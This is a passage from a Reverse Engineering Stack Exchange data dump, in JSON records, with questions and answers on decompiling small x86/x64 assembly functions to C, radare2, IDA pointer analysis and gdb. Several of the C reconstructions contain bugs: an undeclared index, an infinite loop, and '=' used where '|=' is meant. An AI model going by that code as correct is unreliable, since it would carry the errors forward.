8]\n            0x0000012c      7047           bx lr\n            0x0000012e      70b5           push {r4, r5, r6, lr}\n            0x00000130      0546           mov r5, r0\n            0x00000132      82b0           sub sp, 8\n            0x00000134      0846           mov r0, r1\n            0x00000136      00f0eef8       bl 0x316\n            0x0000013a      0246           mov r2, r0\n            0x0000013c      dff88843       ldr.w r4, [0x000004cc]      ; [0x4cc:4]=0x50001370\n            0x00000140      1821           movs r1, 0x18\n            0x00000142      00f060f8       bl 0x206\n            0x00000146      00f012f9       bl 0x36e\n            0x0000014a      80b2           uxth r0, r0\n            0x0000014c      0090           str r0, [sp]\n            0x0000014e      0023           movs r3, 0\n            0x00000150      40f2ff32       movw r2, 0x3ff\n            0x00000154      2c21           movs r1, 0x2c               ; ','\n            0x00000156      2046           mov r0, r4\n            0x00000158      00f031fa       bl 0x5be\n            0x0000015c      dff86c63       ldr.w r6, [0x000004d0]      ; [0x4d0:4]=0xfcffff\n            0x00000160      f068           ldr r0, [r6, 0xc]\n            0x00000162      c0f30d02       ubfx r2, r0, 0, 0xe\n            0x00000166      1c21           movs r1, 0x1c\n            0x00000168      00f04df8       bl 0x206\n            0x0000016c      7068           ldr r0, [r6, 4]\n            0x0000016e      00f0fc32       and r2, r0, 0xfcfcfcfc\n.\n.\n<snip>\n
    \n\n

    The disassembly seems OK. I am not familiar with ARM assembly variants, however. The absence of invalid disassembly is a good sign.

    \n\n

    That should be enough information to get you started with your decompiler of choice.

    \n" }, { "Id": "19554", "CreationDate": "2018-10-06T00:49:04.760", "Body": "

    I have been struggling with this for a long time. I have the following assembly language code:

    \n\n
    .intel_syntax noprefix\n.bits 32\n\n.global asm0\n\nasm0:\n    push    ebp\n    mov ebp,esp\n    mov eax,DWORD PTR [ebp+0x8]\n    mov ebx,DWORD PTR [ebp+0xc]\n    mov eax,ebx\n    mov esp,ebp\n    pop ebp \n    ret\n
    \n\n

    and I want to figure out what asm(0xb6, 0xc6) returns. I've been looking for ASM->C decompilers etc, and I cannot find anything for free. Could someone please help me decipher this? I've been trying for a really long time. I am familiar with C++ and Java programming, so even some sort of tool to convert it would be helpful.

    \n\n

    I'm currently reading from this: http://www.godevtool.com/GoasmHelp/newass.htm

    \n", "Title": "What does this assembly language program output?", "Tags": "|assembly|decompilation|c|", "Answer": "

    This is such a small program so this could be followed without converting it back to C. Let's break it down what happens when it's being called with asm(0xb6, 0xc6).

    \n\n
    push    ebp\nmov     ebp, esp\n
    \n\n

    Those two lines are what's is called the function prologue. We first save the calling function stack frame (ebp is tracking that) and in the second one, we set our function stack frame to be equal to the current stack location.

    \n\n
    mov eax, DWORD PTR [ebp+0x8]\nmov ebx, DWORD PTR [ebp+0xc]\n
    \n\n

    The above lines are loading our passed arguments to eax and ebx. Since in cdecl arguments are passed via stack in reverse order, so after those lines in eax we will have 0xb6 and ebx will be equal to 0xc6.

    \n\n
    mov eax, ebx\n
    \n\n

    The value from ebx is stored in eax, thus we drop the need of the first line from the previous fragment. Also since this is the last use of eax in this code it can be interpreted as a return value as this is also a convention in cdecl. So the return value, in this case, would be 0xc6.

    \n\n
    mov esp,ebp\npop ebp\n
    \n\n

    This is just bringing back the stack as it was when we enter the function - also called function epilogue.

    \n\n
    ret\n
    \n\n

    And return back to the caller.

    \n\n

    Having analyzed that it's just obvious that this function returns the second argument that's being passed to it.

    \n\n
    int second(int a, int b)\n{\n    return b;\n}\n
    \n\n

    You could compile this code to a library and use it from C code:

    \n\n
    #include <stdio.h>\n\nextern unsigned int _test (unsigned int, unsigned int);\n\nint main(void)\n{\n    printf(\"%x\\n\", _test(0xb6, 0xc6));\n    return 0;\n}\n
    \n\n

    and compile it with gcc -m32 -o run asm.o call.o.

    \n\n
    \n

    ./run
    \n c6

    \n
    \n\n

    You could verify that it's the case without running it by for example using godbolt but since the code that assigns the first value to eax and then replaces it with the second is actually not needed - it could just use the second argument from the beginning - it won't be generated even w/o any optimizations.

    \n" }, { "Id": "19560", "CreationDate": "2018-10-06T15:15:51.300", "Body": "

    I have a raw assembly dump i.e.

    \n\n
    .intel_syntax noprefix\n.bits 32\n.global main    \n\nmain:\n    push   ebp\n...\n
    \n\n

    And I know it's Intel x86 and the original function was most likely written in C. Now the question is whether I could use IDA to reverse this and get the original function?

    \n", "Title": "Analyze raw assembly using IDA Pro", "Tags": "|ida|assembly|", "Answer": "

    IDA does not accept assembly input, so you need to convert it to some binary format first. This is generally done with an assembler, such as GNU Assembler or gas (part of GNU Binutils and usually installed with gcc), or different alternative assemblers such as nasm, yasm, fasm and so on. If you need help assembling a specific file, you can ask on Stack Overflow, providing as much info as possible.

    \n" }, { "Id": "19568", "CreationDate": "2018-10-07T23:21:55.413", "Body": "

    How can you set up Radare2 webui in Kali or Ubuntu or any other OS? I've tried so many different methods but none of them have worked so far. I think both of them are debian based so that might be the reason it isn't working. any suggestions on a distro which it would work?

    \n", "Title": "Radare2 webui - need help setting it up", "Tags": "|linux|radare2|websites|", "Answer": "

    radare2 -c='H' <binary> can run radare2 with web interface.
    \nI guess you are using apt-get package manager for installing radare2, r2 deb package has a bit problem (Web interface files aren't available in deb version), It's better to install the latest version of radare2 from git.

    \n\n

    \"Radare

    \n" }, { "Id": "19571", "CreationDate": "2018-10-08T15:20:29.480", "Body": "

    So before we come to the main function, it looks we are in a function with a name __libc_start_main

    \n\n

    and before we come to our main function we obviously push EBP value in the stack ( the value of EBP before main function, in the __libc_start_main function)

    \n\n

    so first off is this value important? after the execution of main function, will the __libc_start_main function need this value?

    \n\n

    is there any function that gets called before __libc_start_main therefore making this EBP value important?

    \n\n

    i tested it and even if i overwrite this value(in the stack) with overflowing, the program finishes with no problem but i don't get how and why? shouldn't it result in error or page fault?

    \n", "Title": "Is the value of EBP before the main function important?", "Tags": "|x86|memory|buffer-overflow|stack|register|", "Answer": "

    __libc_start_main is called by the entry point code (usually in a file called crt0.S or similar) and that code usually sets up the initial EBP value (usually to 0, to denote end of the call stack for the debuggers). Here's a sample entry point code from a random ELF binary:

    \n\n
    _start:\n     xor     ebp, ebp\n     pop     esi\n     mov     ecx, esp\n     and     esp, 0FFFFFFF0h\n     push    eax\n     push    esp             ; stack_end\n     push    edx             ; rtld_fini\n     push    offset __libc_csu_fini ; fini\n     push    offset __libc_csu_init ; init\n     push    ecx             ; ubp_av\n     push    esi             ; argc\n     push    offset main     ; main\n     call    ___libc_start_main\n     hlt\n
    \n\n

    While __libc_start_main itself could initialize EBP to 0, this would make it appear as if it's the first code in the binary when looking at the call stack, which is not correct (the execution begins at _start, the entry point).

    \n\n

    Besides, __libc_start_main can be (and often is) written in C instead of assembly, and it's easier for the compiler to generate the standard prolog code for it instead of making some kind of special case exception.

    \n\n

    As for overwriting the value, you don't get a crash because:

    \n\n
      \n
    1. ebp is not actually used by the caller of ___libc_start_main (the entry point code)
      2. \n
    2. ___libc_start_main does not actually return, since it calls exit() with the return value of main() to directly exit to the OS, so your corrupted ebp does not matter
      3. \n
    \n\n

    In the unlikely event that ___libc_start_main does return (e.g. due to a bug in libc), the entry point code will execute the hlt instruction which is privileged so the process will be killed by the OS.

    \n" }, { "Id": "19573", "CreationDate": "2018-10-08T18:11:33.187", "Body": "

    the code is:

    \n\n
    .global asm0\nasm0:\n    push    ebp\n    mov ebp,esp\n    mov eax,DWORD PTR [ebp+0x8]\n    mov ebx,DWORD PTR [ebp+0xc]\n    mov eax,ebx\n    mov esp,ebp\n    pop ebp\n
    \n\n

    The entry is: asm0(0x2a,0x4f)

    \n\n

    The output is: 0x4f2a

    \n\n

    Why is the input parameters reversed?

    \n", "Title": "Inversion of input parameters in ASM", "Tags": "|nasm|assembly|", "Answer": "

    Calling Conventions:

    \n\n

    You may be referring to calling conventions and order of parameters being pushed. If so, here is an answer addressing as such. You can read more about calling conventions in general here.

    \n\n

    Endianness:

    \n\n

    You may also be interested in reading about endianness from the NASM documentation:

    \n\n
    \n

    3.4.3 Character Constants

    \n \n

    A character constant consists of a string up to eight bytes long, used\n in an expression context. It is treated as if it was an integer.

    \n \n

    A character constant with more than one byte will be arranged with\n little-endian order in mind: if you code

    \n\n
    mov eax,'abcd'\n
    \n \n

    then the constant generated is not 0x61626364, but 0x64636261, so that if you were then to store the value into memory,\n it would read abcd rather than dcba. This is also the sense of\n character constants understood by the Pentium's CPUID instruction.

    \n
    \n\n

    Source: https://www.nasm.us/doc/nasmdoc3.html

    \n\n

    More research on your behalf to better understand this can be done by reading about the topic of endianness. It's confusing when you first run into it, but there are many charts like this one to help demonstrate it:

    \n\n

    \"enter

    \n\n

    Image source: https://agilescientific.com/blog/2017/3/31/little-endian-is-legal

    \n\n

    Finally, there's an excellent video from OpenSecurityTraining that does a great job of explaining endianness and order of parameters/arguments with calling conventions. Click here to view it.

    \n" }, { "Id": "19576", "CreationDate": "2018-10-08T19:21:49.670", "Body": "

    So has there been any success in using deep learning for doing reverse engineering?

    \n\n

    i couldn't find anything useful other than some theoretical papers, so was there any talk about this in recent security conferences, or actual success of doing so?

    \n", "Title": "Has there been any success in using deep learning for reverse engineering?", "Tags": "|memory|patch-reversing|software-security|", "Answer": "

    I don't know about deep learning, but if you are looking for general results on using machine learning for reverse engineering, there was a paper called \"Evolving Exact Decompilation\" published at the Workshop on Binary Analysis Research 2018, where the researchers claimed to have learned/evolved the ability to decompile a C program. See the paper here.

    \n" }, { "Id": "19579", "CreationDate": "2018-10-08T22:18:29.763", "Body": "

    I have the following assembly code:

    \n\n
    0000000000400711 <foo>:\n  400711:   55                      push   rbp\n  400712:   48 89 e5                mov    rbp,rsp\n  400715:   48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi\n  400719:   48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0\n  400720:   00\n  400721:   eb 10                   jmp    400733 <foo+0x22>\n  400723:   48 8b 45 e8             mov    rax,QWORD PTR [rbp-0x18]\n  400727:   48 8d 50 ff             lea    rdx,[rax-0x1]\n  40072b:   48 89 55 e8             mov    QWORD PTR [rbp-0x18],rdx\n  40072f:   48 01 45 f8             add    QWORD PTR [rbp-0x8],rax\n  400733:   48 83 7d e8 00          cmp    QWORD PTR [rbp-0x18],0x0\n  400738:   75 e9                   jne    400723 <foo+0x12>\n  40073a:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40073e:   5d                      pop    rbp\n  40073f:   c3                      ret\n
    \n\n

    I've been trying for several hours to figure out what this code does. From just trial and error with a C code to Assembly Code converter, I'm pretty sure the QWORD part comes from a char array, and the lines above it (push rbp, mov rbp, rsp) is just like a preamble. I'm really not sure how to interpret the lines that come after this. I tried storing the above code in as a file called \"file.S\" and then I used the following C code and terminal command to try and figure out what it does:

    \n\n
    #include <stdio.h>\nint foo(int, int);\n\nint main()\n{\n   // printf() displays the string inside quotation\n   printf(\"%d\", foo(2,2));\n   return 0;\n}\n
    \n\n

    The terminal command I used was

    \n\n
    gcc -g -Og -no-pie -fno-pie -m32 main.c file.S\n
    \n\n

    but I just get a whole bunch of errors.

    \n\n

    I have tried for many hours, but I'm not making any progress with deciphering this code. Any help is much appreciated. In addition, is there a fast way (e.g. a decompiler) that can do this for me in the future? I couldn't find any of those either.

    \n", "Title": "Figuring out what a segment of assembly code does", "Tags": "|disassembly|assembly|decompilation|", "Answer": "

    First of all, this is 64bit assembly because of the registers (rax,..) and the memory address in the first line. So with the option -m32 that compiles to 32bit executables, you will get some problems.

    \n\n

    You're right about the first part, push rbp and mov rbp,rsp is the function preamble.

    \n\n
    mov    QWORD PTR [rbp-0x18],rdi\nmov    QWORD PTR [rbp-0x8],0x0\n
    \n\n

    These two QWORDS are not arguments but local variables. You can recognize this, because of the negative offset (variables are above the base pointer and the stack is growing towards lower addresses). x64 assembler gives the first arguments in registers, so the first line is a function argument. The second one is a local variable. Since they are QWORDS, the datatype has a length of 8 byte. The first instruction assigns the value of rdi to a local variable (say var_18) and the second assigns 0 to another local variable (say var_8).

    \n\n
    jmp    400733 <foo+0x22>\n
    \n\n

    This is an unconditional jump to the location 400733 meaning you will always jump there. So we need to continue at this location.

    \n\n
    cmp    QWORD PTR [rbp-0x18],0x0\njne    400723 <foo+0x12>\n
    \n\n

    At 400733 we see a compare instruction, followed by a conditional jump. The compare checks if the local variable var_18 is 0, if so the value of var_8 is returned (writing the value it to rax and return). Otherwise if not 0, we jump to 400723.

    \n\n
    mov    rax,QWORD PTR [rbp-0x18]\nlea    rdx,[rax-0x1]\nmov    QWORD PTR [rbp-0x18],rdx\nadd    QWORD PTR [rbp-0x8],rax\n
    \n\n

    Continuing at 400723 the first three instructions decrease the value of var_18 by 1. But the initial value before the subtraction is added to var_8. This seems a little confusing, but if you are familiar with C/C++, an instruction like var-- comes in mind, where you use the value of the variable before it is subtracted.

    \n\n

    And then we are at the comparison to 0 again. So going over all these lines, it is obvious that this is a loop where the argument is a number which then acts as a counter, from which is counted down to zero. The second local variable var_8 is simply the sum of the different counter values. For example if var_18 has 5 then the result would be 5+4+3+2+1=15.

    \n\n

    The corresponding C code would be similar to this.

    \n\n
    long foo(long nr) {\n    long var_8 = 0;\n\n    while(nr != 0) {\n        var_8 += nr--;\n    } \n    return var_8;\n}\n
    \n\n
    \n\n
    \n

    In addition, is there a fast way (e.g. a decompiler) that can do this for me in the future? I couldn't find any of those either.

    \n
    \n\n

    Yes, Hex-Rays Decompiler would do the job.

    \n" }, { "Id": "19583", "CreationDate": "2018-10-09T15:15:21.393", "Body": "

    I have the following assembly (x64) function:

    \n\n
    400700: sub  rsp,0x18\n400704: mov  QWORD PTR [rsp+0x8],rdi\n400709: cmp  QWORD PTR [rsp+0x8],0x0\n40070f: jne  400718 <bar+0x18>\n400711: mov  eax,0x0\n400716: jmp  400734 <bar+0x34>\n400718: mov  rax,QWORD PTR [rsp+0x8]\n40071d: sub  rax,0x1\n400721: mov  rdi,rax\n400724: call 400700 <bar>\n400729: mov  rdx,rax\n40072c: mov  rax,QWORD PTR [rsp+0x8]\n400731: add  rax,rdx\n400734: add  rsp,0x18\n400738: ret\n
    \n\n

    I've figured out that the beginning part is just the header for any assembly program. Also, I think that the two QWORD are either from longs or characters. I'm guessing that the jne jump is probably a conditional statement, but I'm not too sure. It looks like the function is recursive since it has a line that calls \"bar\" again.

    \n\n

    My guess for the overall function is that it takes two longs and recursively adds them (Fibonacci, maybe?). I don't have much reasoning for this guess though, and I could be incorrect.

    \n\n

    Could anyone please help me solve this problem? Or, if there's a way for me to pass in parameters (I don't even know what kind of argument the function takes) and see the output, then I can try to backtrack and figure out what the program is doing.

    \n\n

    Thanks

    \n", "Title": "How can I convert this assembly code (x64) to C?", "Tags": "|disassembly|assembly|x86-64|", "Answer": "

    This function computes (in a recursive manner) the sum of the n first integers:

    \n\n
         400700: sub  rsp,0x18                 ; Align the stack\n     400704: mov  QWORD PTR [rsp+0x8],rdi  ; Store first argument on stack\n     400709: cmp  QWORD PTR [rsp+0x8],0x0  ; test (n == 0)\n  +--40070f: jne  400718 <bar+0x18>        ; jump to 400718 if (n != 0)\n  |  400711: mov  eax,0x0                  ; set return code to zero\n+-|--400716: jmp  400734 <bar+0x34>        ; jump to function end at 400734\n| +->400718: mov  rax,QWORD PTR [rsp+0x8]  ; Get 'n' in rax\n|    40071d: sub  rax,0x1                  ; n = n - 1\n|    400721: mov  rdi,rax                  ; Load 'n - 1' as first argument\n|    400724: call 400700 <bar>             ; recursive call to 'bar(n - 1)'\n|    400729: mov  rdx,rax                  ; Load bar(n-1) return code in rdx\n|    40072c: mov  rax,QWORD PTR [rsp+0x8]  ; Get current 'n' in rax\n|    400731: add  rax,rdx                  ; rax = n + bar(n - 1)\n+--->400734: add  rsp,0x18                 ; Restore the stack\n     400738: ret                           ; return n + bar(n - 1)\n
    \n\n

    Final code:

    \n\n
    bar (long long int n)\n{\n  return (n) ? n + bar(n - 1) : 0;\n}\n
    \n\n

    Frankly, I would have used the well known formula n*(n+1)/2...

    \n" }, { "Id": "19587", "CreationDate": "2018-10-09T22:56:17.273", "Body": "

    I have the following code:

    \n\n
    0000000000400526 <main>:\n  400526:   55                      push   rbp\n  400527:   48 89 e5                mov    rbp,rsp\n  40052a:   48 83 ec 20             sub    rsp,0x20\n  40052e:   89 7d ec                mov    DWORD PTR [rbp-0x14],edi\n  400531:   48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi\n  400535:   c7 45 f4 4d 3c 2b 1a    mov    DWORD PTR [rbp-0xc],0x1a2b3c4d\n  40053c:   48 8d 45 f4             lea    rax,[rbp-0xc]\n  400540:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n  400544:   c7 45 f0 00 00 00 00    mov    DWORD PTR [rbp-0x10],0x0\n  40054b:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40054f:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400552:   0f be c0                movsx  eax,al\n  400555:   c1 e0 18                shl    eax,0x18\n  400558:   89 c2                   mov    edx,eax\n  40055a:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40055e:   48 83 c0 01             add    rax,0x1\n  400562:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400565:   0f be c0                movsx  eax,al\n  400568:   c1 e0 10                shl    eax,0x10\n  40056b:   09 c2                   or     edx,eax\n  40056d:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400571:   48 83 c0 02             add    rax,0x2\n  400575:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400578:   0f be c0                movsx  eax,al\n  40057b:   c1 e0 08                shl    eax,0x8\n  40057e:   09 c2                   or     edx,eax\n  400580:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400584:   48 83 c0 03             add    rax,0x3\n  400588:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  40058b:   0f be c0                movsx  eax,al\n  40058e:   09 d0                   or     eax,edx\n  400590:   89 45 f0                mov    DWORD PTR [rbp-0x10],eax\n  400593:   8b 55 f0                mov    edx,DWORD PTR [rbp-0x10]\n  400596:   8b 45 f4                mov    eax,DWORD PTR [rbp-0xc]\n  400599:   89 c6                   mov    esi,eax\n  40059b:   bf 44 06 40 00          mov    edi,0x400644 ; \"a = %#x\\nb = %#x\\n\"\n  4005a0:   b8 00 00 00 00          mov    eax,0x0\n  4005a5:   e8 56 fe ff ff          call   400400 <printf@plt>\n  4005aa:   b8 00 00 00 00          mov    eax,0x0\n  4005af:   c9                      leave\n  4005b0:   c3                      ret\n  4005b1:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n  4005b8:   00 00 00\n  4005bb:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]\n
    \n\n

    This is a segment of x64 assembly code, and I would like to rewrite this code into C. I've been reading Assembly books all day, and I'm still having some difficulty. I just want to understand what this code is doing. From messing around, I think that it performs some operations on an int (that's why I think the DWORD is there) and a long (that's why the QWORD is there). I think that this is true because I recompiled C code with those data structures and those words appeared in the Assembly equivalent, but I could be wrong.

    \n\n

    Any help is appreciated in decoding this code.'

    \n\n
    \n\n

    For Amigag: second segment of code

    \n\n
    0000000000400966 <my_tolower>:\n  400966:   55                      push   rbp\n  400967:   48 89 e5                mov    rbp,rsp\n  40096a:   48 89 7d f8             mov    QWORD PTR [rbp-0x8],rdi\n  40096e:   eb 2d                   jmp    40099d <my_tolower+0x37>\n  400970:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400974:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400977:   3c 40                   cmp    al,0x40\n  400979:   7e 1d                   jle    400998 <my_tolower+0x32>\n  40097b:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40097f:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400982:   3c 5a                   cmp    al,0x5a\n  400984:   7f 12                   jg     400998 <my_tolower+0x32>\n  400986:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40098a:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  40098d:   83 c0 20                add    eax,0x20\n  400990:   89 c2                   mov    edx,eax\n  400992:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400996:   88 10                   mov    BYTE PTR [rax],dl\n  400998:   48 83 45 f8 01          add    QWORD PTR [rbp-0x8],0x1\n  40099d:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  4009a1:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  4009a4:   84 c0                   test   al,al\n  4009a6:   75 c8                   jne    400970 <my_tolower+0xa>\n  4009a8:   90                      nop\n  4009a9:   5d                      pop    rbp\n  4009aa:   c3                      ret    \n  4009ab:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]\n
    \n", "Title": "Converting Assembly x64 code to C", "Tags": "|disassembly|assembly|decompilation|x86-64|", "Answer": "

    I believe the best tool for rewriting assembly to C is IDA Graph View, which is toggled with space.
    \nIt let you see the function as Basic Blocks, connected by control flow instructions. In this specific function, I cannot spot any jumps so you will see one long block.

    \n\n

    The first thing you usually see in a function is the function prologue which sets up the stack frame.

    \n\n
      400526:   55                      push   rbp\n  400527:   48 89 e5                mov    rbp,rsp\n  40052a:   48 83 ec 20             sub    rsp,0x20\n
    \n\n

    second, as 64 bit calling convention suggests, the first parameters are passed by registers, other are passed on the stack.
    \nThe used registers are os-dependent (see table 5 at Agner Fog calling conventions).
    \nYou an see that the function probably gets 2 parameters (edi for 32 bit variable for argc and 64 bit for argv)

    \n\n

    You can see that a \"magic\" value (0x1a2b3c4) is saved in a local variable and a pointer to it is created. Note that when it's saved, it is stored as little-endian, which means the order of bytes is reversed.

    \n\n
      400535:   c7 45 f4 4d 3c 2b 1a    mov    DWORD PTR [rbp-0xc],0x1a2b3c4d\n  40053c:   48 8d 45 f4             lea    rax,[rbp-0xc]\n  400540:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n
    \n\n

    And his first byte is read to eax as a signed byte and multiplied by 2^0x18 (=2^24).\nThe fact that it's signed doesn't affect anything in this case, because the sign bit is always off (as 0x1a, 0x2b, 0x3c and 0x4d are all below 128)

    \n\n
      40054f:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400552:   0f be c0                movsx  eax,al\n  400555:   c1 e0 18                shl    eax,0x18\n
    \n\n

    And in a similar way, a value is calculated using next bytes, multiplied by 0x10 (=16), 8 and 1 (implicitly) respectively. results are stored in edi, and ored with the previous value.

    \n\n

    We can conclude that our function is something like that:

    \n\n
    void main(int argc, char *argv[])\n{\n     int calculated_value;  // represents the use of edi to store the result\n     int magic_value = 0x1A2B3C4D;  // note that although i am using int, i mean uint32_t, a variable that has 4 bytes - a DWORD.\n     char *magic_ptr = (char *) &magic_value;  // the values are read byte-by-byte, or char-by-char\n     calculated_value = magic_ptr[0] << 24;\n     calculated_value |= magic_ptr[1] << 16;\n     calculated_value |= magic_ptr[2] << 8;\n     calculated_value |= magic_ptr[3];  // note that at the last or, the result is saved at eax as edi will soon be used to pass the first parameter to printf\n\n     printf(\"a = %#x\\nb = %#x\\n\", magic_value, calculated_value);\n}\n
    \n\n

    So, what we can see is that the magic value is read back to a variable, while saving the little-endianness, which means we will get the reversed byte order if the magic_value.
    \nThus, we can expect the output to be:

    \n\n
    \n

    a = 0x1a2b3c4d
    \n b = 0x4d3c2b1a

    \n
    \n\n
    \n\n

    Also, as a general note, this code have could utilize loops to perform the read.

    \n\n
    void main(int argc, char *argv[])\n{\n     int i;\n     int calculated_value = 0;  // represents the use of edi to store the result\n     int magic_value = 0x1A2B3C4D;  // note that although i am using int, i mean uint32_t, a variable that has 4 bytes - a DWORD.\n     char *magic_ptr = (char *) &magic_value;  // the values are read byte-by-byte, or char-by-char\n     for(int i = 0; i < 4; i++)\n     {\n         calculated_value <<= 8;\n         calculated_value = magic_ptr[i];\n     }\n     printf(\"a = %#x\\nb = %#x\\n\", magic_value, calculated_value);\n}\n
    \n\n
    \n\n

    EDIT: As to your second code.\nHere we can see jumps, so I created a graph view of the code. it makes reading it much easier.
    \nA bit of info on the graph: a green line means that the jump happens if a condition is met. A red line means that the jump happens if the condition is false. A blue line means that the jump is unconditional, it will always jump.
    \nLet's go through it and see what happens.

    \n\n

    \"A

    \n\n

    The first thing we get to see after the function prologue is a single parameter is saved at rbp-0x8.
    \nOn the block of 0x40099d we can see that the input is probably char *ptr, it dereference the pointer and read it's value.
    \nFrom the test al, al we can assume that the value is a string (and not just binary data, it is probably related to user input) and we stop once we have read the null terminator (\\x00 = 0).

    \n\n

    The next block we will check is 0x400970. All it does is checking if the char pointed by rbp-0x8 is smaller or equal to 0x40 (0x40 is ascii for '@', 0x41 is 'A'). If it is, it continues (the single-line block at 0x400998).

    \n\n

    So far, our function is something like:

    \n\n
    void my_tolower(char *str)\n{\n    while(str[i] != '\\x00')\n    {\n        if(str[i] < 'A')  // as opposed to <= '@'. I can't remember I saw a code ever caring about '@'.\n        {\n            str += 1;  // skipping the current character\n            continue;\n        }\n        // unknown code for now\n    }\n}\n
    \n\n

    Looking at 0x40097b, we can see a similar code, but it checks the character is smaller than 0x5A (=ascii of Z). so we can write those conditions in a single if:

    \n\n
    if(str[i] < 'A' || str[i] > 'Z')\n
    \n\n

    Last block (0x400986). We now know that str[i] contains an upper-case letter.
    \nThe code takes the character and add 0x20 to it. 0x20 is ascii for (space) and (a - A). It saves the result back to the string and continues.

    \n\n
      400992:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400996:   88 10                   mov    BYTE PTR [rax],dl\n
    \n\n

    Looking at 0x4009a8, no result is passed to rax, that means the function probably doesn't return a value.

    \n\n

    So, out functions look something like that:

    \n\n
    void my_tolower(char *str)\n{\n    while(str[i] != '\\x00')\n    {\n        if(str[i] < 'A' || str[i] > 'Z')  // as opposed to <= '@'. I can't remember I saw a code ever caring about '@'.\n        {\n            continue;\n        }\n        str[i] = str[i] + 'a' - 'A';\n        str += 1;\n    }\n}\n
    \n\n

    We could also rewrite the function to show the single block that increments the pointer, which i believe is how the original code looked like. it makes more sense logically that we change the string if a condition was met, not if a condition is not met.

    \n\n
    void my_tolower(char *str)  // name was taken from 4009a6 and the first line of function\n{\n    while(str[i] != '\\x00')\n    {\n        if(str[i] >= 'A' && str[i] <= 'Z')  // as opposed to <= '@'. I can't remember I saw a code ever caring about '@'.\n        {\n            str[i] = str[i] + 'a' - 'A';\n        }\n        str += 1;  // this is the block at 400998, that always happen\n    }\n}\n
    \n" }, { "Id": "19594", "CreationDate": "2018-10-10T10:02:06.357", "Body": "

    I am aware that many users on this forum are experts (developers) of IDA Pro. So I am tentatively inquiring some high-level ideas behind the point-to analysis of IDA Pro.

    \n\n

    According to my personal experience (I have been using IDA Pro 6.95 a lot for my binary code research), the point-to analysis implemented in IDA Pro is neither sound or complete. I am envisioning some heuristics are utilized to infer the value set in the code and data pointers.

    \n\n

    So here is my question:

    \n\n
      \n

    1. Could anyone shed a light on the point-to algorithm in IDA-Pro? I understood IDA-Pro is a commercial software so a high-level idea would be very much appreciated.

      2. \n

    2. What is the best practice to build a call graph with IDA Pro, considering we have decent amount of indirect calls which needs to be interred.

      3. \n
    \n\n

    The analysis platform could be ELF binaries on ARM, which seems relatively easier, comparing to x86.

    \n", "Title": "Point-to analysis of IDA Pro", "Tags": "|ida|pointer|call-graph|ida-plugin|", "Answer": "

    The topic of pointer analysis is an important part of theoretical static analysis. Many articles and academic publications have been written about pointer analysis, this is a heavily researched field.

    \n\n

    Besides the theoretical research, it is often an difficult issue to address even by skilled and trained reverse engineers. In certain cases it can be nearly impossible to retrieve the pointer without executing or emulating the relevant code.

    \n\n

    Therefore, for IDA Pro to provide a \"sound and complete\" solution, as you put it, is not a trivial task. This is highlighted by the fact this isn't really the disassembler's task.

    \n\n

    As for your specific questions:

    \n\n
    \n
      \n
    1. Could anyone shed a light on the point-to algorithm in IDA-Pro? I understood IDA-Pro is a commercial software so a high-level idea would be very much appreciated.
      2. \n
    \n
    \n\n

    As far as I'm aware, IDA's pointer analysis is quite basic. Register calls are only resolved if they're directly assigned and there's isn't a lot of taint analysis. It is important to remember IDA is not a binary static analysis tool, IDA is a disassembler (and a decompiler). Taint analysis, constraint solving, call graph analysis etc are usually better done by tools designed specifically for those purposes. Having said that, IDA does make an effort to include heuristics to help with that type of thing.

    \n\n
    \n
      \n
    1. What is the best practice to build a call graph with IDA Pro, considering we have decent amount of indirect calls which needs to be interred.
      2. \n
    \n
    \n\n

    So again, IDA isn't the best tool to build a call graph if you're mostly focused on those cases where call targets are difficult to resolve or there are plenty of constraints to consider.

    \n\n

    There are better tools for static binary analysis, as well as several questions about the topic here over RE.SO. My personal favorite is probably angr.

    \n\n

    I suggest you spend time researching the theoretical topic and available tools and approaches before going forward.

    \n" }, { "Id": "19598", "CreationDate": "2018-10-11T11:10:50.333", "Body": "

    I want to find out the base address and the imagesize of the program being debugged in gdb. As in, where it got loaded in memory. For shared libraries I can do \"info sharedlibrary\" and I get very nice output like so:

    \n\n
    0x00007ffff7dd5f10  0x00007ffff7df4b20  Yes         /lib64/ld-linux-x86-64.so.2\n
    \n\n

    How can i get this output for the main program i am debugging?

    \n\n

    I know that gdb disables ASLR and I could just inspect the ELF file myself to find out, but there has to be a way via gdb too.

    \n\n

    (Background: I am using gdb's mi, and I can keep a basic overview of where things are by parsing sharedlibrary-load messages. But it never sends such a message for the main program, which is the most important thing.)

    \n\n

    Thanks!

    \n", "Title": "Find base address and memory size of program debugged in gdb", "Tags": "|debugging|gdb|debuggers|elf|", "Answer": "

    info file shows the memory map of the current process:

    \n\n
